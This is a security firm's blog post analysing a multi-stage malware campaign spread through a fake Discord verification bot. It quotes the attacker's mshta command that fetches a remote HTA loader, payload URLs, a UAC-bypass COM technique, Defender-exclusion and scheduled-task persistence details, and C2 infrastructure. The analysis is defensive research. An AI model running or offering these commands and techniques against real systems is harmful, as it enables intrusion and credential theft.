Skip to content

From ClickFix to Full Compromise: Analyzing the Multi-Stage Malware Behind the Fake Metis Discord

Full analysis of the malware behind the fake Metis Discord: a ClickFix chain, two loaders, an infostealer, a RAT, and a redownloader that keeps it alive.

Mohamed Daif

Chief technology officer

16 min read

Earlier today, we published an overview of a phishing campaign that ran through a hijacked Metis Discord invite. Members joining the server were greeted by a fake GuildPass bot that asked them to verify they were human, then told them to finish by pasting a command into Windows Command Prompt. That post covered how the attack reaches people and what to do if you ran the command.

This post covers what happens after you do. The command starts a chain of two loaders that deliver a core payload, which then deploys three separate components: an infostealer, a remote access trojan, and a redownloader that checks every five minutes whether the malware is still installed and puts it back if it isn’t. Two of those components are open-source projects built for educational use, repurposed by the attacker. Below, we walk through each stage, show how we decompiled the Go-based infostealer using Relift, and share the indicators and detection rules defenders need to find it.

What the malware actually does

Before we start, we actually built a graph explaining the malware and the actions it takes; this should clear things up so you fully understand how it works and can follow the technical analysis

Diagram

First Stage

The moment you enter the verification process on the Fake GuildPass bot through the website, the fake verification instructs users on how to get the verification done, which is by opening CMD and pasting the verification code; in this case, the verification code we're copying is the entry point for the attacker

Shell
mshta https://authguild[.]net/auth.hta #ID=15364473672

The way the first loader works is by using a Windows native tool called mshta.exe to execute their remote .hta loader

if you didn't know what HTA is, it's simply another way to execute HTML on Windows for desktop applications, but with extended functionality. Normal HTML files are usually viewed in a browser within an isolated environment, but HTA files have much more access to the system functionality, as they can execute system commands

We then fetched auth.hta from the source to get a closer look at how it works

First Loader

It turned out that the attacker is using an embedded VBScript inside the HTA file that carries our first loader, and even though it's obfuscated, those kinds of obfuscations are actually the easiest to de-obfuscate, as we only needed to stop the execution in this case and load the second loader in a readable way for us, and that's exactly what we did

Custom loader

We used an online compiler for VBScript and rewrote some parts of the script, instead of the Execute happening right after the obfuscated string is reversed, we print the reversed string to the console instead, and we discovered the second loader doing that

Second Stage

Upon analyzing the second loader, including the remote resources it loads from the internet, we managed to break down the second loader's behavior in order

  1. Fetches mids.ps1 from nobleprotect[.]net to be executed later on
  2. Fetches sync.zip from nobleprotect[.]net and writes it locally in the %TEMP% folder
  3. Runs mids.ps1 with the path to sync.zip within its arguments for the middleware script to start extracting and installing the malware

In case everything isn't that clear already, here's a brief of what those 2 resources the loader fetches actually do

mids.ps1

Is a utility script provided by the attacker; its only job is to extract and install the malware on the victim's system.

sync.zip

Is the actual malware provided by the attacker and would eventually drop the 3 other malware that comprise the victim's machine fully.

Third Stage

At this point, we have everything we need to start our analysis. We start by unzipping the sync.zip archive and navigating through the malware for the first time

The malware structure is simple in this case: sync.exe and check.vbs are the only malware-related files here; everything else is valid but not needed by the malware to function, nor is it used by the malware; it's just the malware author adding junk to distract us and make our job harder

The analysis

After we manually verified what stands out in the malware structure, we started by doing some static analysis on sync.exe looking for any indicators inside the executable. A couple of interesting results came while looking through the strings, including the sources (URLs) to the other malware that later infected the system and parts of the command the malware uses to exclude its own files from Windows Defender. Even though we learned things about the malware, it was clear that something is missing.

I loaded sync.exe into Ghidra and started with the Defined Strings window. Ghidra found 1,299 strings. Filtering on the domain we already knew, nobleprotect, left only two: /DGD/rnr.exe and /DGD/cks.exe. Both sit in the same DGD folder on the attacker's server, and the infected machine had more payloads on it than these two.

Next I filtered on obj, because VBScript code nearly always names its variables objSomething. That pulled out most of a script stored as separate lines: it adds a Defender exclusion with Add-MpPreference, connects to the Windows Task Scheduler, names a task UpdateSync and points it at runsyp.vbs inside AppData\Local\Service.

When I read it top to bottom as a script, though, it couldn't work. Nothing connects to the scheduler service, nothing creates the task object the other lines use, the trigger has no repeat interval, and the action has arguments but no program to run. The missing lines are the ones that say what the task runs and how often it runs.

The command-line arguments were missing too. check.vbs, which ships in the same zip, starts the program as sync.exe -arg1, but -arg1 appears nowhere in the strings.

A strings view only finds text stored in the file as readable bytes. If a program assembles a string in memory just before using it, the readable version never exists on disk. Gaps this specific suggested the author had deliberately hidden the important parts, so I stopped reading strings and started reading code.

Ghidra put the entry point at 0x140015bc0. It's two lines long: a call that sets up the stack security cookie, then a jump into __scrt_common_main_seh. That's the standard start-up code the Microsoft compiler adds to every C++ program, not the author's code. I renamed it to its real name so it wouldn't distract me later.

Following the start-up code leads to WinMain, and WinMain does exactly one thing: it calls wxEntry.

That told me the program is built with wxWidgets, a C++ GUI framework, which explains the ten wxWidgets DLLs bundled in the zip. It also changes where to look. In a wxWidgets application, the developer's code doesn't start in main. The framework creates the application object and later calls its OnInit() method, so stepping forward from the entry point would only take me through framework code. I needed a way in from the other direction.

The way in was the window title. Time 1.0.0 was one of the few readable strings that looked like part of the user interface. Ghidra showed it was used in a single place: a small start-up function that copies it into a global variable. I renamed the function init_window_title and the global g_windowTitle, then followed the references to that global.

One of those references was in FUN_14000c7a0, and the end of that function settled it. It creates a 600×400 window using g_windowTitle, hides it straight away, and then calls one more function. A program that builds its main window and hides it before anyone sees it is a decoy, so I renamed the function it calls next mal_main.

To confirm FUN_14000c7a0 really was OnInit, I checked who calls it. Nothing does, at least not directly. Its only reference is slot 23 of a table of function pointers, and every other slot in that table points into the wxWidgets DLLs. That's a C++ virtual function table: the framework calls whatever sits in that slot, and the author replaced the default with their own function. I renamed it TimeApp_OnInit.

With OnInit found, I read it from the top, and the first thing it does is the part I couldn't find in the strings. It loops over the command-line arguments and compares each one against a value that doesn't exist in the file. To produce that value it does three things:

  1. It writes single bytes into a local buffer, out of order ([4], [5], [6], [7], then [0] to [3]).
  2. It runs a short loop that XORs every byte with a key, and the key is stored in the same buffer (argbuf[7] = 6).
  3. It marks the buffer as done (argbuf[6] = 1) and passes it straight into wxString::compare.

Text you can read doesn't need a loop before it's compared, so this was encoded data being decoded right before use. Doing it by hand:

2b 67 74 61 37  XOR 06  =  2d 61 72 67 31  =  "-arg1"

The second block is the same except its last byte is 0x34, which decodes to -arg2. If either argument matches, the code sets a global flag, which I renamed g_argOk.

The flag is read in exactly one place, near the start of mal_main: a compare and a jump. If sync.exe isn't started with -arg1 or -arg2, it skips everything malicious and leaves behind a hidden, empty window. That's why the launchers always pass an argument. It's also why double-clicking the file in a sandbox shows nothing interesting.

Once I knew the pattern, I looked for it in mal_main and found the answer to the first question. Just before the two plaintext URLs there is a 36-byte buffer built the same way, with key 0x24:

4c 50 50 54 57 1e ...  XOR 24  =  68 74 74 70 73 3a ...  =  "https:..."

Decoded in full, it's https://nobleprotect.net/DGD/sk.exe, the third payload. The author left rnr.exe and cks.exe in plaintext but hid this one, and it turned out to be the Skuld stealer later on.

The same trick appears 37 times in the binary, and it always uses the same layout: the encoded text, then a "decoded" flag byte, then the key. The key is always the string's length including the terminating null, which made the strings easy to find automatically. I wrote a small script that reads Ghidra's decompiled output, collects each buffer's byte writes and XORs them with the key. It never runs the sample.

The decoded list contains the missing scheduled-task lines, the -arg1/-arg2 check, the sk.exe URL, the AppData\Local\Service folder, the WinHttp* function names the program loads at runtime so they don't show up in its import table, the testsigning sandbox check, and the UAC-bypass COM moniker Elevation:Administrator!new:. The next section covers what mal_main does with them.

What sync.exe does once it's allowed to run

Passing the argument check isn't enough. Before doing anything, mal_main runs a chain of checks, and all of them must pass:

  • settings.txt must not exist in C:\Users\<user>\AppData\Local\Service\. It's the infection marker, so the malware never runs twice on the same machine.
  • The program must be running from somewhere under \appdata\local. %TEMP%\extracted\ counts, because %TEMP% lives under AppData\Local.
  • Running bcdedit must show test signing turned off.
  • The screen must be at least 1024×768.
  • The machine needs more than 0x17D000000 bytes of RAM, about 6 GB.

A typical analysis VM with 4 GB of RAM fails these checks and sees nothing.

Once the checks pass, it downloads all three payloads from nobleprotect.net/DGD/ straight into memory. It never imports WinHTTP the normal way. Instead it loads winhttp.dll itself and resolves each function by a name decoded with the same XOR trick, which is why the import table barely shows any networking. Every request sends the User-Agent Dynamic WinHTTP Client/1.0, a useful indicator for network logs. Right after the downloads, FUN_14000a880 changes how the process identifies itself so that it appears to be C:\Windows\explorer.exe.

Next it writes two scripts into AppData\Local\Service\, this time with no lines missing.

  • runsyp.vbs quietly starts syshelpers.exe.
  • nat.vbs needs admin rights:
    • it adds a Microsoft Defender exclusion for the whole user profile (C:\users\<user>);
    • it registers a scheduled task called UpdateSync that runs wscript.exe runsyp.vbs every 5 minutes with highest privileges;
    • it creates settings.txt.

To get those rights without a UAC prompt, run_elevated decodes a CLSID (XOR key 0x27) that turns out to be {3E5FC7F9-9A51-4367-9063-A120244FBEC7}, the CMSTPLUA COM object. It requests the object through the Elevation:Administrator!new: moniker with the ICMLuaUtil interface ({6EDD6D74-C007-4E75-B76A-E5740995E24C}, stored as raw bytes), then calls that interface's ShellExec method (slot 0x48) to run cmd.exe /c nat.vbs. CMSTPLUA is set to auto-elevate, so a user with an admin account on default UAC settings never sees a prompt. This is a well-known UAC bypass

sync.exe can't directly tell whether the elevated script worked, so it watches for settings.txt, the last thing nat.vbs creates. It checks up to 12 times, 1.21 seconds apart, and quits if the file never appears.

Before anything is written to disk, each payload goes through a second XOR that differs from the string one. The key starts at 0x77 and increases by 5 after every byte, carrying over between 32 KB chunks. Because this decoding is applied to data straight off the network, I expected the files on the server to be stored encoded. When we downloaded them, all three started with 3a 26 11 86 instead of the usual MZ. Putting those four bytes through the loop (3a^77, 26^7c, 11^81, 86^86) gives 4d 5a 90 00, the standard start of a Windows executable. I rewrote the loop as a small standalone decoder and used it to recover every payload without running anything.

The final block waits about 19 seconds (Sleep(0x4917)) and then writes each decoded payload into AppData\Local\Service\ under a new name:

  • sk.exe (written as "SearchHost.bin"): Started by sync.exe, immediately, with no window
  • cks.exe (written as "SDXhelper.exe"): Started by sync.exe, immediately, with no window
  • rnr.exe (written as "syshelpers.exe"): Started by the UpdateSync task, every 5 minutes

The .bin extension doesn't stop Windows from running searchHost.bin as a program; the name only makes it look harmless. Finally sync.exe deletes nat.vbs and exits. It also builds a path to a zip.zip that is never used, probably left over from an earlier version.

By the time sync.exe exits, two payloads are already running, a third is scheduled to run every 5 minutes with admin rights, and Defender is ignoring the user's entire profile.

Fourth Stage

searchHost.bin (Skuld)

After decoding and validating the executable, it turned out that searchHost.bin is written in Go, and that's where we decided to launch relift

At first glance, we could easily identify the malware by the package names within the sidebar and the report, and it saved us a lot of time in the analysis, as the malware is already open source at hackirby/skuld and already lists its capabilities. However, for the attacker to make use of that malware, it needed to be manually adjusted as described in Skuld's usage

And that tells us exactly what we should look for, so we started lifting main.main to see if the attacker left us any secrets

In the public Skuld source, the configuration is a plain map in main.go, with the Discord webhook sitting there in clear text for anyone who runs strings on the binary. This build is different. Where the stock config has a webhook entry, relift showed two entries the original project doesn't have, webhookencr and webhookencr2, each holding a string of unreadable bytes. The operator had added an extra encoding layer on top of Skuld so the webhooks wouldn't show up in a basic string search.

The layer turned out to be thin. A Discord webhook URL always starts with https://, so I compared the first encoded bytes with the text they had to represent. B (0x42) had to become h (0x68), and 0x42 ^ 0x68 = 0x2A. The same key turned ^ into t and Z into p, and it held for every byte after that. So it's a single-byte XOR with the key 0x2A across the whole string. Decoding both values gave two complete webhook URLs, each 121 bytes long: the standard discord.com/api/webhooks/ prefix, a 19-digit webhook ID and a 68-character token, which is exactly what a real Discord webhook looks like. You can reproduce this in CyberChef with Unescape String followed by XOR (key 2A, hex).

https://discord.com/api/webhooks/1376207540303691796/wk7n…[redacted]
https://discord.com/api/webhooks/1388443499812225064/1bcy…[redacted]

The first webhook (webhookencr) is the one Skuld actually reports to. The second (webhookencr2) is configured but never used by this build. Every victim's stolen data, including Discord tokens, browser credentials, wallet files, and system details, is posted to that first webhook. We reported both to Discord. The full tokens are left out here on purpose: anyone holding a webhook URL can post to that channel or delete it, and that decision belongs to Discord's abuse team. (Oh)

syshelpers.exe (the patient downloader)

This one comes from the same author as sync.exe. It uses the same stack-XOR strings, the same hand-loaded WinHTTP with the same Dynamic WinHTTP Client/1.0 User-Agent, and the same 0x77 / +5 decoder. It's small, and each time the UpdateSync task starts it (every 5 minutes), it moves one step forward:

  1. If syshelp.exe exists next to it, it launches it through cmd.exe.
  2. Otherwise, if a file called updatelog exists, it decodes that file into syshelp.exe.
  3. Otherwise, it downloads https://hq-telemetry.com/DGDownloads/sync.exe (the URL is XOR-hidden with key 0x2e) and saves it as updatelog.

The installation is deliberately slow, spread across three runs about 5 minutes apart, and the encoded copy on disk is named like a log file. This is also where the second domain, hq-telemetry.com, first appears. It sits behind Cloudflare and was registered on 2026-05-30. The file it serves has the same name as the original dropper, sync.exe, but it's a different file. Decoded with the same loop, it's AsyncRAT.

syshelp.exe (AsyncRAT with a blockchain twist)

syshelp.exe is a 50 KB .NET assembly (internal name Stub.exe), so I opened it in dnSpy instead of Ghidra. It has the standard AsyncRAT 0.5.x layout: a Settings class full of base64 blobs and an Aes256 class that decrypts them. The configuration key is derived with PBKDF2-HMAC-SHA1 (50,000 iterations) from the master key hUIyl3PB1h7Lxk29NiS7YhZ9OVTkisSR and a 32-byte salt stored in the binary. Each blob is laid out as HMAC (32 bytes) | IV (16 bytes) | ciphertext. I decrypted the whole configuration statically, and every field's HMAC verified:

AsyncRAT configuration (decrypted)

  • Version: 0.5.7B
  • Hosts / Ports: empty. No C2 address is stored in the client.
  • Install: false.
  • Mutex: vE0p3y3ewmlR
  • Anti-analysis / BSOD protection: false / false
  • Group: Default
  • Server certificate: CN AsyncRAT Server, valid from 2025-12-11 SHA-256 5D6CD2A289AB8D05FDDE14DDC614120268D7E5482B0E64AEB8906B6A78A61323
  • Contract: 0x619583d95667800CB2e7069D66B6AcAB1cC07981

The interesting part is the two lines that don't fit. There is no C2 host or port at all, and the field AsyncRAT normally uses for a Pastebin URL holds a BNB Smart Chain (BSC) address. On startup, the client calls that contract's message() function (selector 0xe21f37ce) through a public BSC RPC endpoint and uses the returned IP:port as its server. The operator can move the C2 at any time by writing a new value to the contract, without touching the malware. When I queried it, it returned 0.0.0.0:7707, which goes nowhere.

AsyncRAT gives the operator full remote access to the machine, including whatever modules the server chooses to push to the client.

Final Stage

0.0.0.0 is a placeholder, but a blockchain doesn't forget. Every value the contract ever held was written by a transaction, and every transaction is public.

Disassembling the contract's bytecode showed three functions: message(), owner(), and setMessage(string) (selector 0x368b8772). setMessage checks that the caller is the owner and emits no events, so there are no logs to search. Instead I took the owner wallet, 0x819be35cb2b7ca536bcc3f53f70051a18adc90a5, and binary-searched an archive RPC node for each block where its transaction count increased. That found every transaction it ever sent. Decoding each setMessage call rebuilt the full history of contract 0x619583d95667800CB2e7069D66B6AcAB1cC07981:

  • 2026-08-02 14:14 UTC: 23.94.148.17:7707 tx 0x74c2113ebcb8870538e1b250dd1a7ae322e02e1efd6a48f838d9f9564503b897
  • 2026-08-03 09:34 UTC: 0.0.0.0:7707 tx 0xb4b9d1150e7de27d55260ec0bfd2e33ddd626026f11ce774536a601c675dd1ff
  • 2026-09-20 10:34 UTC: 23.94.148.17:7707 tx 0x8911ec45cd728acd91aed05806f6450a1d8a8b8f4a67cf9498e8989018609471
  • 2026-09-20 10:37 UTC: 0.0.0.0:7707 tx 0xba2413be23f8a9fe3bb71c857850393f24bf4d775f00dccee1e16a2ef0386fe1
  • 2026-10-06 09:49 UTC: 23.94.148.17:7707 tx 0x625716530508bc69585b43fa5a0739d232c40003369fd37139947b65de0e6eb5
  • 2026-10-06 20:35 UTC: 0.0.0.0:7707 tx 0x7e4616fbdffaf1ab160624c8cbf9a730a13278355226dd9871a8b0893a21e0a7
  • 2026-11-06 11:54 UTC: 23.94.148.17:7707 tx 0x32ea7b11a48aa254364f867b6a709bca3ed795c77633b1266cc06fb26b56a8d6
  • 2026-11-07 07:57 UTC: 0.0.0.0:7707 tx 0xbb3859069586f0d075e0ef72ed5558aae0ac9ff782f9983deadfe2a04b4fe079

Anyone can check these on BscScan: open a transaction and use "Decode Input Data".

The pattern is clear. The operator points the contract at the real server only while the AsyncRAT panel is online, sometimes for just three minutes, then parks it again. That's also why Shodan and similar scanners have no record of port 7707 on these hosts. In November the owner wallet switched to EIP-7702 delegated transactions. From then on, a relayer could in principle update the contract without the owner's transaction count changing, so for that period I also sampled the contract's storage roughly every 20 minutes. The sampling found exactly the same two changes as the transaction history.

Following the gas money led further back.

  • The owner wallet 0x819be35cb2b7ca536bcc3f53f70051a18adc90a5 was funded by 0xc32c9ebbf967f5b38f96d0b54cdc136b1c87349e. That wallet owns another C2 contract, 0xa289fc7caf8d2f6ad259e8ce6e4c9370352c3e75.
  • 0xc32c9ebbf967f5b38f96d0b54cdc136b1c87349e was in turn funded by the root wallet 0x0048d5410a2aa0e7187953c66c409a462cb6269c, active since 2025-12-24. The root wallet deployed five more C2 contracts:
    • 0xfe72ad639c2c653dde9faf7a35b0dc573b685644 (the earliest, deployed 2025-12-24)
    • 0xe816786ca27de7a4a556b1a52df09119e3aea638
    • 0xe8d087262949b9db90dd8f5e92f1b9cb69841aba
    • 0xb4ed05f0ce6491f408a83a6fcc3734599af9c351
    • 0x57d888714aa62a74eb3aa8c5fd42e70b300eb4d4
  • The root wallet also funded 0x605e996d8c3291f261c99ab0f89569446433d976, which deployed 0x81be8c207aced70503e183811785995337f57f9a. That contract stores a payload URL rather than a server: hq-telemetry.com/DGDownloads/osync.exe. I didn't download that file.

That's seven C2 contracts in total, plus the URL contract. Across all of them, two servers came out:

23.94.148.17:7707

  • Provider: ColoCrossing, reassigned to HostPapa (AS36352)
  • Active: first set 2026-07-28, last set 2026-11-07
  • Abuse contacts: abuse@colocrossing.com, net-abuse-global@hostpapa.com

95.164.116.85:7707

  • Provider: Veterano DOO (95.164.116.0/24)
  • Active: first set 2025-12-26, last set 2026-05-13
  • Abuse contact: noc@dcmne.net

Two of the older contracts 0xe816786ca27de7a4a556b1a52df09119e3aea638 and 0xb4ed05f0ce6491f408a83a6fcc3734599af9c351, still return 95.164.116.85:7707 today. The certificate in the AsyncRAT config was issued on 2025-12-11, two weeks before the root wallet's first contract, so this campaign has been running for about a year. In one update on 2026-08-02, the operator wrote 23.94.148.17::7707 with a double colon into 0xa289fc7caf8d2f6ad259e8ce6e4c9370352c3e75, then fixed it eight minutes later.

None of the components in this campaign is sophisticated on its own. Two of them are public projects anyone can download, and the loaders do nothing unusual. What makes it dangerous is how they’re put together: a delivery method that gets the victim to run the malware themselves, a chain that keeps each stage disposable, and a redownloader that turns a single mistake into a lasting compromise. Cleaning up any one piece isn’t enough, and that’s by design.


If you joined the Metis Discord server and ran the command, start with our overview blog and the remediation steps there. If you’re a researcher with related samples or infrastructure, we’d like to compare notes at rivenlabs.com


We decompiled the infostealer with relift, our Go decompiler. You can find it at Riven Labs [Relift].

Bring us the system attackers can reach.

Start with a focused engagement and leave with a clearer path to remediation.

Book an assessment